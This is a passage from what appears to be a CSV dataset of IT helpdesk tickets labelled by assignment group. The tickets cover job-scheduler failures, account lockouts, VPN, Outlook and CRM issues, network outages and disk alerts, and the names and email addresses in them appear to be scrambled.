+message-id: + +references: + +in-reply-to: + +accept-language: en-us + +content-language: en-us + +x-ms-has-attach: yes + +x-ms-tnef-correlator: + +authentication-results: spf=none (sender ip is ) + + smtp.mailfrom=notwkdgr.zvmesjpt@gmail.com; + +x-ms-exchange-messagesentrepresentingtype: 2 + +x-ms-exchange-meetingforward-message: forward + +x-originating-ip: [24.74.132.83] + +x-ms-office365-filtering-correlation-id: 32e76e86-fb83-4c95-b8c1-08d3e57fc557 + +x-microsoft-exchange-diagnostics: + + 1;dm5pr05mb2985;6:6zwkfzfqhveyrfplvnz0nkjsmck9qwehil1qgumjnxnqprprqkdhi+rvjj3uc2nejqa0fzgtz4jij+acwuv88puzdunk0hjwjqwvmyqk4t6qt0f+so8tovjk6vrsw4nbmikos5ta5pagfw3tlikizopxoin40z46el9nwzgqwxh2dfht+kz7mql5a3+pajmwsrgslv94qwosb/+oqmwgxvfmlsw+z406vgi7xwkSID_61qzzitpqy4lu86dri3ottgk1xzayeeyzavg6eudngmojgvhdtnqwuio1j8ybnp/xet+hr9grz1ft1y57dsb/hkcy3iuez7slc3yb86gt2/5nrs2wzh90jzgmtanpptqedo=;5:5vw9vc14yq2yep5u2pocqfthezol3pfhxzkwojpdnpwkzpomtdksxjgwu6zrcjk/gbfmvjr3q8g1gvlyai7kcekgjrnwpozuhpv6erkfxyf08+b2xt3nfjd7vsr0kxcifcv61ddkrkgwwnfnaklxdg==;24:cheincs2ucpegyhr2jxtdz4i0u4emaklov/7pefvrpt+qnxldyya8iuersial1s+rrranhcq2jepzug8qvggjsdvnk4ibmjw05qnt0jhj0s=;7:8x23g2habfqwviwctkdxqupnpbikhjtjiylmevfzllvnwoggkaenkvbsoltry7j36exff+7prcp9ejfgu+hih0ognmjetr0okkpaemfapugfinxzgn03bwwvkifmzcsfrcsre3wvfocm4gqhn2l/vh+uow9qrijelr+yuhm5lbonhp/mlumfit4atgzwedr8/orp9a7e4nclbrvinpcrdn3f3pzm+xfd7qqr3s1poembzawfucemmdkg8tt6f5znyd3bdftagjq+czljtqjboyohmsd9kaw/yj9guwxlcemjtijzkysxvmp7dwujtas+ + +x-microsoft-antispam: uriscan:;bcl:0;pcl:0;ruleid:;srvr:dm5pr05mb2985; + +x-microsoft-antispam-prvs: + +x-exchange-antispam-report-uacyltoe hxgaycze: uriscan:(141303121974841)(21748063052155); + +x-exchange-antispam-report-cfa-uacyltoe hxgaycze: bcl:0;pcl:0;ruleid:(213526432)(7151287)(601004)(3512158)(6116117)(9232612157)(4113112)(10201501046)(7166137);srvr:dm5pr05mb2985;bcl:0;pcl:0;ruleid:;srvr:dm5pr05mb2985; + +x-forefront-prvs: 0076f48c8a + +x-forefront-antispam-report: sfv:nspm;sfs:(21120131)(7110112)(8027113)(488565114)(189002)(199003)(3584113)(3011211112)(7027110)(3061211113)(53993117)(88107116)(5002640100001)(15975445007)(2522112)(87687112)(0797113)(233667113)(212527112)(08847115)(218997113)(3017113)(6751811112)(44767113)(561211112)(79847118)(213947114)(9047113)(290009112)(19580405001)(85427113)(77177112)(586003)(4957113)(11100500001)(92277117)(92267125)(6901211112)(8847113)(2841811114)(00397113)(221247114)(416056116)(03677113)(10400500002)(3612114)(217467112)(98047112)(216697113)(87287000)(3462112)(00047112)(65467000)(9787113)(6771411112)(4771811112)(4391811113)(19580395003)(7227113)(61097000)(8707115);dir:out;sfp:1102;scl:1;srvr:dm5pr05mb2985;h:dm5pr05mb2986.namprd05.prod.outlook.com;fpr:;spf:none;ptr:infonorecords;mx:1;a:1;lang:; + +received-spf: none (protection.outlook.com: company.com does not designate + + permitted sender hosts) + +spamdiagnosticoutput: 1:99 + +spamdiagnosticmetadata: nspm + +content-type: multipart/mixed; + + boundary=""_006_dm5pr05mb29862fd8edab0c9b7115e87aefca0dm5pr05mb2986namp_"" + +mime-version: 1.0 + +x-originatororg: company.com + +x-ms-exchange-crosstenant-originalarrivaltime: 25 sep 2016 20:08:51.7604 + + (utc) + +x-ms-exchange-crosstenant-fromentityheader: hosted + +x-ms-exchange-crosstenant-id: e7ee4711-c0b1-4311-b500-b80d89e5b298 + +x-ms-exchange-transport-crosstenantheadersstamped: dm5pr05mb2985 + + +",GRP_26 + eagsm657 : the service (security_tool password manager) is stopped or disabled or is not installed on the target machine eagsm657 : the service (security_tool password manager) is stopped or disabled or is not installed on the target machine,GRP_2 +"account locked , unable to login to ess portal account locked , unable to login to ess portal",GRP_0 +"job Job_1429 failed in job_scheduler at: 09/25/2016 11:44:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1429 failed in job_scheduler at: 09/25/2016 11:44:00",GRP_6 +lv23 not printing lv23 not printing,GRP_0 +"job Job_1420 failed in job_scheduler at: 09/25/2016 10:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1420 failed in job_scheduler at: 09/25/2016 10:36:00",GRP_6 +ms crm configuration in outlook ms crm configuration in outlook,GRP_0 +sound coming from computer while connecting any device or moving monitor. sound coming from computer while connecting any device or moving monitor.,GRP_19 +"job snp_heu_6_regen failed in job_scheduler at: 09/25/2016 08:57:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_6_regen failed in job_scheduler at: 09/25/2016 08:57:00",GRP_6 +sound issue : 7350 summary:issue with the sound of the laptop .there's no sound .,GRP_0 +"job Job_1343 failed in job_scheduler at: 09/25/2016 07:49:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1343 failed in job_scheduler at: 09/25/2016 07:49:00",GRP_9 +"markhtyingre email as junk hello all_x000D_ +how are you doing?_x000D_ +_x000D_ +please can you put this email in general junk?_x000D_ +_x000D_ +it's a spam ...._x000D_ +thx_x000D_ +gergryth_x000D_ +_x000D_ +",GRP_0 +"job co_val_update_crosscomp failed in job_scheduler at: 09/25/2016 05:55:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job co_val_update_crosscomp failed in job_scheduler at: 09/25/2016 05:55:00",GRP_10 +"job Job_1148 failed in job_scheduler at: 09/25/2016 01:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1148 failed in job_scheduler at: 09/25/2016 01:15:00",GRP_9 +"job Job_3049 failed in job_scheduler at: 09/25/2016 01:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3049 failed in job_scheduler at: 09/25/2016 01:06:00",GRP_8 +"job Job_3049 failed in job_scheduler at: 09/25/2016 00:46:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3049 failed in job_scheduler at: 09/25/2016 00:46:00",GRP_45 +"job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 09/25/2016 00:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 09/25/2016 00:15:00",GRP_8 +"job Job_1141 failed in job_scheduler at: 09/24/2016 23:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1141 failed in job_scheduler at: 09/24/2016 23:45:00",GRP_9 +" application ""plm scheduled tasks monitor"" in a critical state for the below mentioned serevrs. alwaysupservice.exe for plm conversion server - on HostName_108 +plm conversion server on HostName_107 +plm conversion server on HostName_520 +plm conversion server on HostName_521 +",GRP_8 +"request to reset microsoft online services password for dcaokyph.vrdnocxs@gmail.com from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: sunday, september 25, 2016 2:04 am +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: request to reset microsoft online services password for dcaokyph.vrdnocxs@gmail.com + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• dcaokyph.vrdnocxs@gmail.com +• first name: allert +• last name: herghan + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +inquiry on erp status- unable to access ess portal inquiry on erp status- unable to access ess portal,GRP_0 +"job Job_444 failed in job_scheduler at: 09/24/2016 19:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_444 failed in job_scheduler at: 09/24/2016 19:40:00",GRP_8 +"job bkbackup_tool_powder_prod_full failed in job_scheduler at: 09/24/2016 18:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_powder_prod_full failed in job_scheduler at: 09/24/2016 18:36:00",GRP_8 +"job SID_56hoti failed in job_scheduler at: 09/24/2016 18:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_56hoti failed in job_scheduler at: 09/24/2016 18:06:00",GRP_8 +"job SID_38hoti failed in job_scheduler at: 09/24/2016 17:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_38hoti failed in job_scheduler at: 09/24/2016 17:02:00",GRP_8 +"vip 2--workflow notifications in universal worklist. vip 2 - ticket + +received from: dxyvfuhr.uyfqgomx@gmail.com + + +all, having reviewed this with joothyst and clrgtydia, the problem is not caused by the exclusion list, or the cm workflow. +the problem is because of a security configuration, where joftgost receives items in the universal worklist, but no e-mail notification. +we traced this to screen su01d, where in the screenshot attached to this incident, you will see the e-mail address for joftgost is incorrectly ""joftgost.berfkting@company.com"". +please update this to ""dxyvfuhr.uyfqgomx@gmail.com"". + + + +dear madam, sir, i am no longer receiving workflow notifications to my outlook inbox, how can i restore these? + +with kind ",GRP_2 +"job Job_3194 failed in job_scheduler at: 09/24/2016 14:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3194 failed in job_scheduler at: 09/24/2016 14:10:00",GRP_10 +ms crmdynamics deployment query ms crm dynamics deployment query. ,GRP_0 +"uacyltoe hxgaycze message email. from: efbwiadp dicafxhv +sent: saturday, september 24, 2016 10:19 pm +to: shesyhur posrt +subject: inc1554560 : uacyltoe hxgaycze message + +hello shesyhur, + +i have just checked, this issue was reported previously. + +after the upgrade users are getting email about uacyltoe hxgayczeing email configuration- please be aware that this is only part of the upgrade and can be safely deleted. + +",GRP_0 +"yahoo, emails skype team viewer not loading ; internet not working. yahoo, emails skype team viewer not loading ; internet not working .",GRP_0 +"job Job_1429 failed in job_scheduler at: 09/24/2016 10:41:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1429 failed in job_scheduler at: 09/24/2016 10:41:00",GRP_6 +" uacyltoe hxgaycze email sent from neerthyu agrtywal id but neerthyu has not sent any such uacyltoe hxgaycze email . advise. from: neerthyu agrtywal _x000D_ +sent: saturday, september 24, 2016 5:49 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: fw: uacyltoe hxgaycze message_x000D_ +importance: low_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i received this email which shows that it has been sent from my id where as i have not sent any such uacyltoe hxgaycze email. pl. look into this matheywter and advise._x000D_ +_x000D_ +",GRP_0 +sound issue : 7350 issue sound issue : 7350 issue,GRP_0 +"job Job_2040 failed in job_scheduler at: 09/24/2016 07:29:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2040 failed in job_scheduler at: 09/24/2016 07:29:00",GRP_6 +"job Job_1320 failed in job_scheduler at: 09/24/2016 06:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1320 failed in job_scheduler at: 09/24/2016 06:36:00",GRP_9 +erp log on balancing error : vpn issue erp log on balancing error : vpn issue ,GRP_0 +the plant has had our n network drive deleted from all computers and we are unable to work. is there anyway you can add our n network drives back to all computers or send instructions on how to add to each computer?,GRP_12 +"job Job_1388 failed in job_scheduler at: 09/24/2016 02:59:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1388 failed in job_scheduler at: 09/24/2016 02:59:00",GRP_9 +"pls help - unable to connect vpn _x000D_ +_x000D_ +received from: vxhyftae.tbkyfdli@gmail.com_x000D_ +_x000D_ +hello ,_x000D_ +please helo for subject matheywter . pls see below snapshot_x000D_ +[cid:image003.jpg@01SID_3565c.102ad310]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"job apo_cif_pSID_74_ap failed in job_scheduler at: 09/24/2016 02:12:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job apo_cif_pSID_74_ap failed in job_scheduler at: 09/24/2016 02:12:00",GRP_6 +"job apo_cif_pds3_am failed in job_scheduler at: 09/24/2016 02:12:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job apo_cif_pds3_am failed in job_scheduler at: 09/24/2016 02:12:00",GRP_6 +"job apo_cif_pds1_am failed in job_scheduler at: 09/24/2016 02:12:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job apo_cif_pds1_am failed in job_scheduler at: 09/24/2016 02:12:00",GRP_6 +"job apo_cif_pds3_eu failed in job_scheduler at: 09/24/2016 02:12:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job apo_cif_pds3_eu failed in job_scheduler at: 09/24/2016 02:12:00",GRP_6 +"job bkwin_infonet1_full failed in job_scheduler at: 09/24/2016 01:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_infonet1_full failed in job_scheduler at: 09/24/2016 01:40:00",GRP_8 +"job Job_1148 failed in job_scheduler at: 09/24/2016 01:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1148 failed in job_scheduler at: 09/24/2016 01:15:00",GRP_9 +unable to access engineering_tool unable to access engineering_tool due to vpn,GRP_0 +"job SID_56filesys failed in job_scheduler at: 09/23/2016 22:17:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_56filesys failed in job_scheduler at: 09/23/2016 22:17:00",GRP_8 +"not able to login to vpn, not able to login to vpn,_x000D_ +-advised the caller to restart the system and check the internet connection._x000D_ +-advised the caller to logon to the company vpn._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"urgent help required- outlook to crm mfg_tooltion issue + +received from: jhxwiply.midhcnze@gmail.com + +not sure why or how but this error came up several times while attempting to add an email to crm +[cid:image001.png@01SID_355c1.93def6a0] + + +at the bottom of this email it shows it added the email to crm but i cannot find it anywhere +[cid:image004.png@01SID_355c3.16264ae0] + + + + +when i click on the 'view in crm' i get below error +[cid:image005.png@01SID_355c3.16264ae0] +[cid:image003.jpg@01SID_355c5.47cb4490] + + + +why is it when i click on [cid:image002.png@01SID_355c6.2b4plant_200] it opens up a new large crm page and shows i created a calendar date but it doesn't show in my regular crm even after closing it and reopening it? +[cid:image006.png@01SID_355c6.2b4plant_200] + + +this is what shows in my regular crm +[cid:image007.png@01SID_355c9.2121d1c0] + + + +",GRP_40 +"vip 2: time setting on collaboration_platform _x000D_ +_x000D_ +received from: ebikdrqw.empubwxo@gmail.com_x000D_ +_x000D_ +i am experiencing problems with elt folders in collaboration_platform. my collaboration_platform view for the elt meetings is not current and is not updating as documents are uploaded._x000D_ +_x000D_ +i was told it has to do with my time setting on my pc. lpoebzsc grknswyo i tried to reset it but the system did not reset it._x000D_ +_x000D_ +please look into it and fix the problem._x000D_ +_x000D_ +_x000D_ +",GRP_16 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"ms crm installation . ms crm installation ._x000D_ +connected to the user system using teamviewer._x000D_ +-installed the mscrm add in for outlook._x000D_ +-launched the outlook._x000D_ +-user able to see the crm add-in on outlook._x000D_ +-issue resolved.",GRP_0 +"zbxljotu cbunzrak ihre rechnung zur bestellung nr. 45507867717 vom 23.09.2016 zbxljotu cbunzrak ihre rechnung zur bestellung nr. 45507867717 vom 23.09.2016 + +error: account to order no. 45507867717 from 09.23.2016",GRP_26 +outlook configuration and vpn connectivity outlook configuration and vpn connectivity,GRP_0 +"engineering tool login issue. engineering tool login issue._x000D_ +-connected to the user system using teamviewer._x000D_ +-unlocked the user account._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"urgent help required- outlook to crm mfg_tooltion issue. urgent help required- outlook to crm mfg_tooltion issue. +need crm tab on my outlook",GRP_0 +"dell 7350: skype audio not working. dell 7350: skype audio not working._x000D_ +-connected to the user system using teamviewer._x000D_ +-updated the sound drivers, restarted the pc._x000D_ +-user able to listen to the audio over the skype calls._x000D_ +-issue resolved.",GRP_0 +"support with + +received from: jogtse.mhytusa@company.com + +hello + +could you please help us to add the customers below to engineering tool software + +81945970 + +maquinados de precision de mex + +81039422 + +magonza sa de cv + +81039927 + +evercast s.a. de c.v. + +81030720 + +tecnologia en maquinados hidra + + + +saludos + + +johjkse luartusa rahymos + +representante de ventas zona bajio + + +este mensaje está destinado al uso exclusivo de la persona a quien está dirigido y puede contener información privilegiada, confidencial y que está exenta de ser revelada conforme con lo dispuesto en la legislación vigente. toda difusión, distribución o reproducción de este mensaje por parte de otra persona que no sea el receptor al que está destinado queda estrictamente prohibida. si recibe este mensaje por error, se ruega que lo notifique al remitente y borre este mensaje. +[#+company/posts>[ +select the following link to view the disclaimer in an alternate language. + + + +este mensaje está destinado al uso exclusivo de la persona a quien está dirigido y puede contener información privilegiada, confidencial y que está exenta de ser revelada conforme con lo dispuesto en la legislación vigente. toda difusión, distribución o reproducción de este mensaje por parte de otra persona que no sea el receptor al que está destinado queda estrictamente prohibida. si recibe este mensaje por error, se ruega que lo notifique al remitente y borre este mensaje. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_25 +ie issue ie issue,GRP_0 +multiple switch company-na-usa-usa is down since 2:15 pm et on 09/23/16 switch company-na-usa-usa-shippingarea-2960-access-sw01 (23.36.37.1866 ) and company-na-usa-usa-furnace-2960-access-sw01 (80.25.07.069) located at usa is down since 2:15 pm et,GRP_4 +"i drive not connecting i drive not connecting _x000D_ +_x000D_ +tried with ip address, no go._x000D_ +checked server name: no go_x000D_ +user mentioned that he changed his password for vpn and then not able to connect to i drive._x000D_ +rest all drivers are working fine and accessible._x000D_ +informed user to get in touch with one of colleagues and get the screen shot of all drivers he has access to also to onfiirm i drive._x000D_ +tried mapping i drive with password , nogo._x000D_ +_x000D_ +waiting for user email .",GRP_0 +"support with + +received from: whoyizfp.gclnfkis@gmail.com + +hello + +could you please help us to add the customers below to engineering tool software + +81945970 + +maquinados de precision de mex + +81039422 + +magonza sa de cv + +81039927 + +evercast s.a. de c.v. + +81030720 + +tecnologia en maquinados hidra + + + +saludos + +whoyizfp gclnfkis. +sr sales engineer +whoyizfp.gclnfkis@gmail.com +",GRP_25 +"locked er _x000D_ +_x000D_ +received from: jxgobwrm.qkugdipo@gmail.com_x000D_ +_x000D_ +i'm trying to add a change item to my er 2240766, but i get the error listed below_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01SID_3559d.48177471]_x000D_ +_x000D_ +knethyen grechduy_x000D_ +engineer, product engineering_x000D_ +company_x000D_ +jxgobwrm.qkugdipo@gmail.com_x000D_ +t: (615 641-4399_x000D_ +f: (615) 641-4268_x000D_ +_x000D_ +[cid:image001.jpg@01ced94a.22bd1f30]_x000D_ +_x000D_ +company inc. | 1600 technology way | usa, pa. 15650 | www.company.com<_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"problem on trs _x000D_ +_x000D_ +received from: bvpglyzh.dyhusejm@gmail.com_x000D_ +_x000D_ +hello, i have this error while sending trs, connected to vpn, can you help me? ",GRP_0 +"msd crm urgent help required - outlook to crm mfg_tooltion issue. + +problem detail---after ""set regarding"" a calendar item to an account, it doesn't show in the assigned crm account record. +ph: +",GRP_22 +ticket update for ticket_no0442691 ticket update for ticket_no0442691,GRP_0 +skype error : getting skype certificate error skype error : getting skype certificate error,GRP_0 +"logon balancing error in erp even after connecting to vpn unable to connect to erp modules even after connecting to vpn, logon balancing error =88._x000D_ +it was working 15 minutes back. ",GRP_0 +"infopath issue : can not submit a discount through collaboration_platform._x000D_ +_x000D_ +says access denied must add to favorites i had this happen before.",GRP_0 +unable to connect to mobile broadband unable to connect to mobile broadband,GRP_0 +account locked account locked,GRP_0 +"interface: fastethernet0/6 · company-johthryugftyson-city-ap-2 on company-na-usa-johthryugftyson-city-2960-access-sw02.company.com is down interface: fastethernet0/6 · company-johthryugftyson-city-ap-2 on company-na-usa-johthryugftyson-city-2960-access-sw02.company.com is down since 10:34 am on 09/23 et._x000D_ +_x000D_ +logged on to switch found interface is down:_x000D_ +_x000D_ +sep 23 10:32:09.262 edt: %lineproto-5-updown: line protocol on interface fastethernet0/6, changed state to down_x000D_ +sep 23 10:32:10.261 edt: %link-3-updown: interface fastethernet0/6, changed state to down_x000D_ +company-na-usa-johthryugftyson-city-2960-access-sw02>$_x000D_ +",GRP_4 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +account locked. account locked.,GRP_0 +account locked. account locked.,GRP_0 +"audio issue in dell 7350 name:ksgytjqr ojdukgzc +language: +browser:microsoft internet explorer +email:ksgytjqr.ojdukgzc@gmail.com +customer number: +telephone: +summary:i cannot get the volume up high enough. it was fine yesterday now not high enough for conference calls.",GRP_3 +password reset password reset,GRP_0 +"performance (speed) issue (mii) order took 30 minutes to batch over from one work center bucket to the next._x000D_ + _x000D_ +order 226020715_x000D_ +operation 30 - 7:45_x000D_ +operation 40/50 - 8:16_x000D_ +_x000D_ +this has happened on multiple other orders as well._x000D_ +_x000D_ +",GRP_41 +"outlook error _x000D_ +_x000D_ +received from: doxmlcpr.xjheyscu@gmail.com_x000D_ +_x000D_ +hi,_x000D_ + i am not able to get into outlook any more. keep getting messages telling me its stopped working and do i want to restart in safe mode to do repair. have had to send this from my phone. ",GRP_0 +need the password_management_tool link need the password_management_tool link,GRP_0 +unable to connect to tc78 unable to connect to tc78,GRP_0 +"usa village - clappdico: company-na-usa-clappdico-wireless-2960-access-sw06 is down since at 9:46 am et on 09/23. usa village - clappdico: company-na-usa-clappdico-wireless-2960-access-sw06 is down since at 9:46 am et on 09/23._x000D_ +gigabitethernet0/1 · ###connection to clappdico wireless switch 53.96.41.1370-company-na-usa-clappdico-2960-access-sw05 ",GRP_8 +internet explorer issue internet explorer issue,GRP_0 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +"reset the password for oweklxnm ubayizsq on windows login i try to change my log-in password and the system keeps stating the old password is not correct. and i disagree, because i tried so many times ( being careful), i know i typed in my old password correctly.",GRP_0 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +please unlock : tpfghtlugn (erp hana SID_60) do not reset password. please unlock : tpfghtlugn (erp hana SID_60) do not reset password.,GRP_53 +" k100sfs.company.company.com is reporting a : down status on, HostName_343. please investigate observing below alert in monitoring_tool since 8:49 am on 09/23 et._x000D_ + k100sfs.company.company.com is reporting a : down status on, HostName_343. please investigate_x000D_ +cpu load is showing 100%",GRP_14 +"crm in mobile phone + +received from: qjiutmel.fgvtxeoy@gmail.com + +good morning, + +crm on my mobile device will not work, please see below a screen shot. + +wghjkftewj + +[cid:1d5bf51c-ed12-434b-940e-88747180d3e1] + + +",GRP_0 +unable to get emails synced on samsung mobile device unable to get emails synced on samsung mobile device,GRP_0 +password reset ad password reset ad ,GRP_0 +"users are unable to connect to a machine in shop floor. users are unable to connect to a machine in shop floor + +machine name - 391-mazak +contact n0 - .",GRP_4 +"pm_tool_for_sd: missing currency-table in pm_tool_for_sd-prod from: jurten setgyrt +sent: friday, september 23, 2016 7:33 am +to: stefyty parkeyhrt +cc: qikvnjzc evmrcqug +subject: aw: pm_tool_for_sd: missing currency-table in pm_tool_for_sd-prod.!!! + +hello stefyty +any progress on that topic? + +we are running in trouble because we have to send out two proposals but cannot because of missing pricing + +best ",GRP_20 +office reinstall office reinstall,GRP_0 +"re: need a little help--please + +received from: bcefayom.lzhwcgvb@gmail.com + +lunjuws, + +if you recall we had this new form developed when we were there for the tmb project specially as per bakyhrer huhuyghes requirement. + + +please don't print this email unless you really need to - this will preserve trees on planet earth. + +from: smxoklny hbecskgl +sent: 23 september 2016 17:45 +to: damuphws arkulcoi; an; company@ticketing_tool.com +cc: les +subject: re: need a little help--please + +hcytr, + is this format the one that bakyhrer huhuyghes required with their bin numbers on the delivery note? + +shathyra, + are you aware of the special requirement for bakyhrer huhuyghes delivery notes? i forgot about it until hcytr mentioned this. + +best ",GRP_18 +"re: need a little help--please + +received from: smxoklny.hbecskgl@gmail.com + +chanthrydru, + is this format the one that bakyhrer huhuyghes required with their bin numbers on the delivery note? + +shathyra, + are you aware of the special requirement for bakyhrer huhuyghes delivery notes? i forgot about it until chanthrydru mentioned this. + +best ",GRP_18 +"please include purchase group in pr to po analysis. please include field to enter aqzz/erpquery/memepr_3========_x000D_ +_x000D_ +",GRP_20 +"xerox in our office will not turn on, no power. outlet where it's plugged in is good. xerox in our office will not turn on, no power. outlet where it's plugged in is good.",GRP_3 +rechner ewewx212455 ( olympus ) kein zugriff auf \\HostName_736\EU_tool\ möglich rechner ewewx212455 ( olympus ) kein zugriff auf \\HostName_736\EU_tool\ möglich,GRP_24 +"printer not working + +received from: ugyawsjv.ypgjirlm@gmail.com + +dear sir, + +the printer at msg second floor \\awyrthysm010\\w46 is not working. + +please rectify the problem immediately. + +",GRP_19 +"ms outlook doens't start _x000D_ +_x000D_ +received from: tzradpnj.izlotycb@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +_x000D_ +as many times before, after system password change, ms outlook doens't start._x000D_ +attached printscreen._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"job Job_488 failed in job_scheduler at: 09/23/2016 06:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_488 failed in job_scheduler at: 09/23/2016 06:33:00",GRP_8 +"co account assignments have different profit centers from: rzucjgvp ioqjgmah +sent: friday, september 23, 2016 12:09 pm +to: subgtybaryuao hs; nyifqpmv kfirxjag +subject: re: erro log-reg + +hi sutyu, + +this seems to be related to co issue. i am requesting co person to look into this issue. + +hi ramdntyassthywamy, + +please help mr.subgtybaryuao on this. + +",GRP_44 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_34 + +enter user id of user having the issue: +magerjtyhd +yadavtghya +schgtewmik +transaction code(s) the user needs or was working with: +zcopc + +describe the issue: +please remove the plant controller role from all three users. i have discussed with uylvgtfi eovkxgpn. he and obdphylz qaeicrkz do not need access again to zcopc. qbjmoihg nbgvyqac needs it but i would prefer if you could assign the role co:team_view for her instead of plant controller. + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. + +provide access the same as this other user:",GRP_2 +install EU_tool und bls \ rechner olympus \xwirzvda okhyipgr install EU_tool und bls \ rechner olympus \xwirzvda okhyipgr,GRP_24 +"schreib- und leseberechtigung auf den ordner m:\staebefertigung-leitung einrichten hallo ,_x000D_ +_x000D_ +bitte schreib- und leseberechtigung für user maerza auf den ordner m:\staebefertigung-leitung einrichten._x000D_ +_x000D_ +danke_x000D_ +",GRP_24 +dds dss,GRP_0 +"info type '0017' missing to personal number 56678054 from: fbgetczn jlsvxura _x000D_ +sent: friday, september 23, 2016 10:15 am_x000D_ +to: nyifqpmv kfirxjag_x000D_ +cc: wjkzgyxh pktcqbxu_x000D_ +subject: aw: unterhaltung mit nyifqpmv kfirxjag_x000D_ +_x000D_ +hello hr. ramdntyassthywamy,_x000D_ +sebfghkasthian asked me to send you the below attached screen shots._x000D_ +_x000D_ + _x000D_ +_x000D_ + _x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_10 +"request access to SID_1 uacyltoe hxgaycze + +received from: gkerqucv.bqumyrea@gmail.com + +good day, + +jfhytu mthyuleng +senior buyer +gkerqucv.bqumyrea@gmail.com + +[company 75th anniversary logo] +",GRP_0 +setup new ws \ewew8323879 \jionmpsf wnkpzcmv setup new ws \ewew8323879 \jionmpsf wnkpzcmv,GRP_24 +drucker von cvd we17 einrichten am pc 212536 in der qs drucker von cvd we17 einrichten am pc 212536 in der qs,GRP_24 +"outlook issue _x000D_ +_x000D_ +received from: rgtarthi.erjgypa@company.com_x000D_ +_x000D_ +hello help,_x000D_ +_x000D_ +outlook is not getting updated automatically & periodically,_x000D_ +time to time i need to update send & receive folder. this issue persists since last wednesday ( 14th sep)._x000D_ +_x000D_ +system was given to the it dept here on 21st but there is no improvement._x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01SID_355a1.ee766460]_x000D_ +_x000D_ +",GRP_26 +probleme mit collaboration_platform / infopath \difozlav dgbfptos probleme mit collaboration_platform / infopath \difozlav dgbfptos,GRP_24 +"erp pur - wrong subcontracting demand 2nd material hello,_x000D_ +with component 2433384 we see a wrong subcontracting demand in erp coming from parent 3181756. _x000D_ +the strange thing is that the po referenced is not a subcontracting po. _x000D_ +we need to understand what´s going wrong here and need to remove the incorrect demand. _x000D_ +_x000D_ +_x000D_ +",GRP_29 +"HostName_1379: volume: h:\is over 85% space consumed. space available: 2.0 g volume: h:\ label:dat4-HostName_1379-data e3fce49 on server: is over _x000D_ +85% space consumed. space available: 2.0 g ",GRP_39 +"owa does not open. owa does not open. _x000D_ +error : page can not be displayed",GRP_0 +"HostName_1379 : volume: c:\ is over 85% space consumed. space available: 3.5 g : volume: c:\ label:sys-HostName_1379 28385a7b on server: is over _x000D_ +85% space consumed. space available: 3.5 g :",GRP_39 +"user tempuser changed the layout in fb03 to be the default setting for everyone erp SID_34, finance:_x000D_ +user tempuser changed the layout in fb03 (/jinf(a)) to be the default setting for everyone. we tried to figure out which layout was the default before., i have chosen /2erp for now, but don't know exactly if this really was the default. ._x000D_ +this happens from time to time, some users are not aware that they set a default for everyone. ",GRP_10 +keine netzwerkverbindung für rechner vhw7020 